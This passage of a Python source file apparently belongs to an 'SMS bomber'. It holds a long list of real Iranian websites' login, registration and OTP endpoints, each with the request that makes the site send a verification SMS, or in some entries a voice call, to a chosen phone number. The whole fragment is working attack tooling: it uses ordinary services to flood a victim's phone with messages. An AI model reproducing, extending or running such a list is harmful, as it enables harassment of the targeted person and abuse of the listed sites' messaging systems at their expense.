138 | {"name": "Pirankalaco", "method": "POST", "url": "https://pirankalaco.ir/shop/SendPhone.php", "data": "phone=" + phoneNumber_zero + ""},
139 | {"name": "Tnovin", "method": "POST", "url": "http://shop.tnovin.com/login", "data": "phone=" + phoneNumber_zero + ""},
140 | {"name": "Dastakht", "method": "POST", "url": "https://dastkhat-isad.ir/api/v1/user/store", "payload": {"mobile": phoneNumber, "countryCode": 98, "device_os": 2}},
141 | {"name": "Hamlex", "method": "POST", "url": "https://hamlex.ir/register.php", "data": "phoneNumber=" + phoneNumber_zero + "®ister="},
142 | {"name": "Irwco", "method": "POST", "url": "https://irwco.ir/register", "data": "mobile=" + phoneNumber_zero + ""},
143 | {"name": "Moshaveran724", "method": "POST", "url": "https://moshaveran724.ir/m/pms.php", "data": "againkey=" + phoneNumber_zero + "&cache=false"},
144 | {"name": "Sibbank", "method": "POST", "url": "https://api.sibbank.ir/v1/auth/login", "payload": {"phone_number": phoneNumber_zero}},
145 | {"name": "Steelalborz", "method": "POST", "url": "https://steelalborz.com/wp-admin/admin-ajax.php", "data": "action=digits_check_mob&mobileNo=" + phoneNumber_zero + ""},
146 | {"name": "Arshian", "method": "POST", "url": "https://api.arshiyan.com/send_code", "payload": {"country_code": "98", "phone_number": phoneNumber}},
147 | {"name": "Topnoor", "method": "POST", "url": "https://backend.topnoor.ir/web/v1/user/otp", "payload": {"mobile": phoneNumber_zero}},
148 | {"name": "Alinance", "method": "POST", "url": "https://api.alinance.com/user/register/mobile/send/", "payload": {"phone_number": phoneNumber_zero}},
149 | {"name": "Alopeyk Safir", "method": "POST", "url": "https://api.alopeyk.com/safir-service/api/v1/login", "payload": {"phone": phoneNumber_zero}},
150 | {"name": "Chaymarket", "method": "POST", "url": "https://www.chaymarket.com/wp-admin/admin-ajax.php", "data": "action=digits_check_mob&mobileNo=" + phoneNumber_zero + ""},
151 | {"name": "Ehteraman", "method": "POST", "url": "https://api.ehteraman.com/api/request/otp", "payload": {"mobile": phoneNumber_zero}},
152 | {"name": "MCI Shop", "method": "POST", "url": "https://api-ebcom.mci.ir/services/auth/v1.0/otp", "payload": {"msisdn": phoneNumber}},
153 | {"name": "Hamrahbours", "method": "POST", "url": "https://api.hbbs.ir/authentication/SendCode", "payload": {"MobileNumber": phoneNumber_zero}},
154 | {"name": "Homtick", "method": "POST", "url": "https://auth.homtick.com/api/V1/User/GetVerifyCode", "payload": {"mobileOrEmail": phoneNumber_zero}},
155 | {"name": "Iranamlaak", "method": "POST", "url": "https://api.iranamlaak.net/authenticate/send/otp/to/mobile/via/sms", "payload": {"AgencyMobile": phoneNumber_zero}},
156 | {"name": "Karchidari", "method": "POST", "url": "https://api.kcd.app/api/v1/auth/login", "payload": {"mobile": phoneNumber_zero}},
157 | {"name": "Mazoo", "method": "POST", "url": "https://mazoocandle.ir/login", "payload": {"phone": phoneNumber}},
158 | {"name": "Paymishe", "method": "POST", "url": "https://api.paymishe.com/api/v1/otp/registerOrLogin", "payload": {"mobile": phoneNumber_zero}},
159 | {"name": "Podro", "method": "POST", "url": "https://api.pod.ir/api/v1/otp/registerOrLogin", "payload": {"mobile": phoneNumber_zero}},
160 | {"name": "Rayshomar", "method": "POST", "url": "https://api.rayshomar.ir/api/Register/RegistrMobile", "data": "MobileNumber=" + phoneNumber_zero + ""},
161 | {"name": "Amoomilad", "method": "POST", "url": "https://amoomilad.demo-hoonammaharat.ir/api/v1.0/Account/Sendcode", "payload": {"PhoneNumber": phoneNumber_zero}},
162 | {"name": "Bitex24", "method": "GET", "url": "https://bitex24.com/api/v1/auth/sendSms?mobile=" + phoneNumber_zero + "&dial_code=0"},
163 | {"name": "Candoosms", "method": "POST", "url": "https://www.candoosms.com/wp-admin/admin-ajax.php", "data": "action=send_sms&phone=" + phoneNumber_zero + ""},
164 | {"name": "Offch", "method": "POST", "url": "https://api.offch.com/auth/otp", "payload": {"username": phoneNumber_zero}},
165 | {"name": "Sabziman", "method": "POST", "url": "https://sabziman.com/wp-admin/admin-ajax.php", "data": "action=newphoneexist&phonenumber=" + phoneNumber_zero + ""},
166 | {"name": "Tajtehran", "method": "POST", "url": "https://tajtehran.com/RegisterRequest", "data": "mobile=" + phoneNumber_zero + "&password=mamad1234"},
167 | {"name": "MrBilit (Call)", "method": "GET", "url": "https://auth.mrbilit.com/api/Token/send/byCall?mobile=" + phoneNumber_zero + ""},
168 | {"name": "Gap (Call)", "method": "GET", "url": "https://core.gap.im/v1/user/resendCode.json?mobile=" + phoneNumber + "&type=IVR"},
169 | {"name": "Novibook (Call)", "method": "POST", "url": "https://novinbook.com/index.php?route=account/phone", "data": "phone=" + phoneNumber_zero + "&call=yes"},
170 | {"name": "Azki (Call)", "method": "GET", "url": "https://www.azki.com/api/vehicleorder/api/customer/register/login-with-vocal-verification-code?phoneNumber=" + phoneNumber_zero + ""},
171 | {"name": "Janebi", "method": "POST", "url": "https://janebi.com/signin?do", "data": {"resend": phoneNumber_zero}},
172 | {"name": "4hair", "method": "POST", "url": "https://4hair.ir/user/login.php", "data": {"num": phoneNumber_zero, "ok": ""}},
173 | {"name": "iGame", "method": "POST", "url": "https://igame.ir/api/play/otp/send", "payload": {"phone": phoneNumber_zero}},
174 | {"name": "TWsms", "method": "POST", "url": "https://twsms.ir/client/register.php", "data": {"mobile": phoneNumber_zero, "agree": "agree", "sendsms": "1"}},
175 | {"name": "BaradaranToy", "method": "POST", "url": "https://baradarantoy.ir/send_confirm_sms_ajax.php", "data": {"user_tel": phoneNumber_zero}},
176 | {"name": "KavirMotor", "method": "POST", "url": "https://kavirmotor.com/sms/send", "payload": {"phoneNumber": phoneNumber_zero}},
177 | {"name": "Chechilas", "method": "POST", "url": "https://chechilas.com/user/login", "data": {"mob": phoneNumber_zero}},
178 | {"name": "Searchii", "method": "POST", "url": "https://searchii.ir//controler//phone_otp.php", "data": {"mobile_number": phoneNumber_zero, "action": "send_otp", "login": "user"}},
179 | {"name": "Badparak", "method": "POST", "url": "https://badparak.com/register/request_verification_code", "payload": {"mobile": phoneNumber_zero}},
180 | {"name": "HermesKala", "method": "POST", "url": "https://hermeskala.com//login/send_vcode", "payload": {"mobile_number": phoneNumber_zero}},
181 | {"name": "ElinorBoutique", "method": "POST", "url": "https://api.elinorboutique.com/v1/customer/register-login", "payload": {"mobile": phoneNumber_zero}},
182 | {"name": "AtlasMode", "method": "POST", "url": "https://api.atlasmode.ir/v1/customer/register-login?version=new2", "payload": {"mobile": phoneNumber_zero}},
183 | {"name": "PooshakShoniz", "method": "POST", "url": "https://api.pooshakshoniz.com/v1/customer/register-login?version=new1", "payload": {"mobile": phoneNumber_zero}},
184 | {"name": "Ubike", "method": "POST", "url": "https://ubike.ir/index.php?route=extension/module/websky_otp/send_code", "data": {"telephone": phoneNumber_zero}},
185 | {"name": "Benedito", "method": "POST", "url": "https://api.benedito.ir/v1/customer/register-login?version=new1", "payload": {"mobile": phoneNumber_zero}},
186 | {"name": "Rubeston", "method": "POST", "url": "https://www.rubeston.com/api/customers/login-register", "payload": {"mobile": phoneNumber_zero, "step": "1"}},
187 | {"name": "PrimaShop", "method": "POST", "url": "https://primashop.ir/index.php?route=extension/module/websky_otp/send_code", "data": {"telephone": phoneNumber_zero}},
188 | {"name": "PayaGym", "method": "POST", "url": "https://payagym.com/wp-admin/admin-ajax.php", "data": {"mobile": phoneNumber_zero, "action": "kerasno_proform_register_inline_send"}},
189 | {"name": "Bartarinha", "method": "POST", "url": "https://bartarinha.com/Advertisement/Users/RequestLoginMobile", "data": {"mobileNo": phoneNumber_zero}},
190 | {"name": "ManoShahr", "method": "POST", "url": "https://manoshahr.ir/jq.php", "data": {"mobile": phoneNumber_zero, "class_name": "public_login", "function_name": "sendCode"}},
191 | {"name": "NalinoCo", "method": "POST", "url": "https://www.nalinoco.com/api/customers/login-register", "payload": {"mobile": phoneNumber_zero, "step": "1"}},
192 | {"name": "Hiss", "method": "POST", "url": "https://hiss.ir/wp-admin/admin-ajax.php", "data": {"phone_email": phoneNumber_zero, "action": "bakala_send_code"}},
193 | {"name": "Tahrir-Online", "method": "POST", "url": "https://tahrir-online.ir/wp-admin/admin-ajax.php", "data": {"phone": phoneNumber, "action": "mobix_send_otp_code"}},
194 | {"name": "MartDay", "method": "POST", "url": "https://martday.ir/api/customer/member/register/", "data": {"email": phoneNumber_zero, "accept_term": "on"}},
195 | {"name": "Paaakar", "method": "POST", "url": "https://api.paaakar.com/v1/customer/register-login?version=new1", "payload": {"mobile": phoneNumber_zero}},
196 | {"name": "ElectraStore", "method": "POST", "url": "https://electrastore.ir/index.php?route=extension/module/websky_otp/send_code", "data": {"telephone": phoneNumber_zero}},
197 | {"name": "AtrinElec", "method": "POST", "url": "https://www.atrinelec.com/ajax/SendSmsVerfiyCode", "data": {"mobile": phoneNumber_zero}},
198 | {"name": "KetabWeb", "method": "POST", "url": "https://ketabweb.com/login/?usernameCheck=1", "data": {"username": phoneNumber_zero}},
199 | {"name": "Dastaneman", "method": "POST", "url": "https://dastaneman.com/User/SendCode", "data": {"mobile": "0098" + phoneNumber_countryCode + ""}},
200 | {"name": "80w", "method": "POST", "url": "https://80w.ir/wp-admin/admin-ajax.php", "data": {"login": phoneNumber_zero, "action": "logini_first"}},
201 | {"name": "NoavarPub", "method": "POST", "url": "https://noavarpub.com/logins/login.php", "data": {"phone": phoneNumber_zero, "submit": "123"}},
202 | {"name": "HovalVakil", "method": "GET", "url": "https://api.hovalvakil.com/api/User/SendConfirmCode?userName=" + phoneNumber_countryCode + ""},
203 | {"name": "DigiGhate", "method": "GET", "url": "https://api.digighate.com/v2/public/code?phone=" + phoneNumber_countryCode + ""},
204 | {"name": "AzarbadBook", "method": "POST", "url": "https://azarbadbook.ir/ajax/login_j_ajax_ver/", "data": {"phone": phoneNumber}},
205 | {"name": "KanoonBook", "method": "POST", "url": "https://www.kanoonbook.ir/store/customer_otp", "data": {"customer_username": phoneNumber, "task": "customer_phone"}},
206 | {"name": "CheshmandazKetab", "method": "POST", "url": "https://www.cheshmandazketab.ir/Register", "data": {"phone": phoneNumber_zero, "login": "1"}},
207 | {"name": "Ketab.ir", "method": "GET", "url": "https://sso-service.ketab.ir/api/v2/signup/otp?Mobile=" + phoneNumber_zero + "&OtpSmsType=1"},
208 | {"name": "SnappShop", "method": "POST", "url": "https://apix.snappshop.co/auth/v1/pre-login", "payload": {"mobile": phoneNumber_zero}},
209 | {"name": "Ketabium", "method": "POST", "url": "https://www.ketabium.com/login-register", "data": {"username": phoneNumber_zero}},
210 | {"name": "RiraBook", "method": "POST", "url": "https://rirabook.com/loginAth", "data": {"mobile1": phoneNumber_zero, "loginbt1": ""}},
211 | {"name": "PashikShoes", "method": "POST", "url": "https://api.pashikshoes.com/v1/customer/register-login", "payload": {"mobile": phoneNumber_zero}},
212 | {"name": "ShimaShoes", "method": "POST", "url": "https://shimashoes.com/api/customer/member/register/", "data": {"email": phoneNumber_zero}},
213 | {"name": "TamimPishro", "method": "POST", "url": "https://www.tamimpishro.com/site/api/v1/user/otp", "payload": {"mobile": phoneNumber_zero}},
214 | {"name": "Fafait", "method": "POST", "url": "https://api2.fafait.net/oauth/check-user", "payload": {"id": phoneNumber_zero}},
215 | {"name": "Telewebion", "method": "POST", "url": "https://gateway.telewebion.com/shenaseh/api/v2/auth/step-one", "payload": {"code": "98", "phone": phoneNumber, "smsStatus": "default"}},
216 | {"name": "Caropex", "method": "POST", "url": "https://caropex.com/api/v1/user/login", "payload": {"mobile": phoneNumber_zero}},
217 | {"name": "NovinMedical", "method": "POST", "url": "https://novinmedical.com/wp-admin/admin-ajax.php", "data": {"action": "stm_login_register", "type": "mobile", "input": phoneNumber_zero}},
218 | {"name": "HamrahSport", "method": "POST", "url": "https://hamrahsport.com/send-otp", "data": {"cell": phoneNumber, "send_otp": "1"}},
219 | {"name": "Dalfak", "method": "POST", "url": "https://www.dalfak.com/api/auth/sendVerificationCode", "payload": {"type": 1, "value": phoneNumber_zero}},
220 | {"name": "MelliShoes", "method": "POST", "url": "https://mellishoes.ir/wp-admin/admin-ajax.php", "data": {"action": "websima_auth_account_detection", "mobile": phoneNumber_zero}},
221 | {"name": "SetShoe", "method": "POST", "url": "https://setshoe.ir/wp-admin/admin-ajax.php", "data": {"action": "stm_login_register", "type": "mobile", "input": phoneNumber_zero}},
222 | {"name": "MaxBax", "method": "POST", "url": "https://maxbax.com/wp-admin/admin-ajax.php", "data": {"action": "bakala_send_code", "phone_email": phoneNumber_zero}},
223 | {"name": "ParkBag", "method": "POST", "url": "https://parkbag.com/fa/Account/RegisterOrLoginByMobileNumber", "data": {"MobaileNumber": phoneNumber}},
224 | {"name": "TelKetab", "method": "POST", "url": "https://telketab.com/opt_field/check_secret", "data": {"identity": phoneNumber_zero}},
225 | {"name": "AdinehBook", "method": "POST", "url": "https://www.adinehbook.com/gp/flex/sign-in.html", "data": {"action": "sign", "phone_cell_or_email": phoneNumber_zero}},
226 | {"name": "GitaMehr", "method": "POST", "url": "https://gitamehr.ir/wp-admin/admin-ajax.php", "data": {"action": "stm_login_register", "type": "mobile", "input": phoneNumber_zero}},
227 | {"name": "SunnyBook", "method": "POST", "url": "https://sunnybook.ir/Home/RegisterUser", "data": {"mobile": phoneNumber}},
228 | {"name": "Mahouney", "method": "POST", "url": "https://mahouney.com/fa/Account/RegisterOrLoginByMobileNumber", "data": {"MobaileNumber": phoneNumber_zero}},
229 | {"name": "MyRoz", "method": "POST", "url": "https://myroz.ir/wp-admin/admin-ajax.php", "data": {"action": "stm_login_register", "type": "mobile", "input": phoneNumber_zero}},
230 | {"name": "Meidane", "method": "POST", "url": "https://meidane.com/accounts/login", "data": {"mobile": phoneNumber}},
231 | {"name": "iCkala", "method": "POST", "url": "https://ickala.com/", "data": {"controller": "SendSMS", "fc": "module", "module": "loginbymobile", "SubmitSmsSend": "1", "ajax": "true", "otp_mobile_num": phoneNumber_zero}},
232 | {"name": "ElecMarket", "method": "POST", "url": "https://elecmarket.ir/wp-admin/admin-ajax.php", "data": {"action": "stm_login_register", "type": "mobile", "input": phoneNumber_zero}},
233 | {"name": "TechSiro", "method": "POST", "url": "https://techsiro.com/send-otp", "payload": {"mobile": phoneNumber_zero}},
234 | {"name": "NovinParse", "method": "POST", "url": "https://novinparse.com/Page/PageAction.aspx", "data": {"Action": "SendVerifyCode", "mobile": phoneNumber_zero}},
235 | {"name": "TitoMarket", "method": "POST", "url": "https://titomarket.com/index.php?route=account/login_verify/verify", "data": {"telephone": phoneNumber_zero}},
236 | {"name": "NikanBike", "method": "POST", "url": "https://nikanbike.com/", "data": {"controller": "authentication", "fc": "module", "module": "iverify", "phone_mobile": phoneNumber_zero, "SubmitCheck": ""}},
237 | {"name": "Account724", "method": "POST", "url": "https://account724.com/wp-admin/admin-ajax.php", "data": {"action": "stm_login_register", "type": "mobile", "input": phoneNumber_zero}},
238 | {"name": "Eaccount", "method": "POST", "url": "https://eaccount.ir/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}},
239 | {"name": "QueenAccessories", "method": "POST", "url": "https://queenaccessories.ir/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}},
240 | {"name": "RastarAccessory", "method": "POST", "url": "https://rastaraccessory.ir/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}},
241 | {"name": "VinaAccessory", "method": "POST", "url": "https://vinaaccessory.com/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}},
242 | {"name": "ChortkehShop", "method": "POST", "url": "https://chortkehshop.ir/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}},
243 | {"name": "PiinkStore", "method": "POST", "url": "https://piinkstore.ir/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}},
244 | {"name": "DreamlandShop", "method": "POST", "url": "https://dreamlandshop.ir/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}},
245 | {"name": "MyDigiPay", "method": "POST", "url": "https://app.mydigipay.com/digipay/api/users/send-sms", "payload": {"cellNumber": phoneNumber_zero, "device": {"deviceId": "a16e6255-17c3-431b-b047-3f66d24c286f", "deviceModel": "WEB_BROWSER", "deviceAPI": "WEB_BROWSER", "osName": "WEB"}}},
246 | {"name": "FoodCenter", "method": "POST", "url": "https://www.foodcenter.ir/account/sabtmobile", "data": "mobile=" + phoneNumber_zero + ""},
247 | {"name": "MoboGift", "method": "POST", "url": "https://mobogift.com/signin", "payload": {"username": phoneNumber_zero}},
248 | {"name": "IranTic", "method": "POST", "url": "https://www.irantic.com/api/login/request", "payload": {"mobile": phoneNumber_zero}},
249 | {"name": "Delino Restaurant", "method": "POST", "url": "https://restaurant.delino.com/user/register", "payload": {"username": phoneNumber_zero}},
250 | {"name": "Dadhesab", "method": "POST", "url": "https://api.dadhesab.ir/user/entry", "payload": {"username": phoneNumber_zero}},
251 | {"name": "RefahTea", "method": "POST", "url": "https://refahtea.ir/wp-admin/admin-ajax.php", "data": {"mobile": phoneNumber_zero}},
252 | {"name": "Snapp Digital", "method": "POST", "url": "https://digitalsignup.snapp.ir/oauth/drivers/api/v1/otp", "payload": {"cellphone": phoneNumber_zero}},
253 | {"name": "MamiFood", "method": "POST", "url": "https://mamifood.org/Registration.aspx/SendValidationCode", "payload": {"Phone": phoneNumber}},
254 | {"name": "WatchOnline", "method": "POST", "url": "https://api.watchonline.shop/api/v1/otp/request", "payload": {"mobile": phoneNumber_zero}},
255 | {"name": "Digify", "method": "POST", "url": "https://apollo.digify.shop/graphql", "payload": {"operationName": "Mutation", "variables": {"content": {"phone_number": phoneNumber_zero}}, "query": "mutation Mutation($content: MerchantRegisterOTPSendContent) { merchantRegister { otpSend(content: $content) __typename } }"}},
256 | ]
257 |
258 | API_VERSION = "2.1.0"
259 | API_LIST_COUNT = len(API_LIST("+9891234567890"))
--------------------------------------------------------------------------------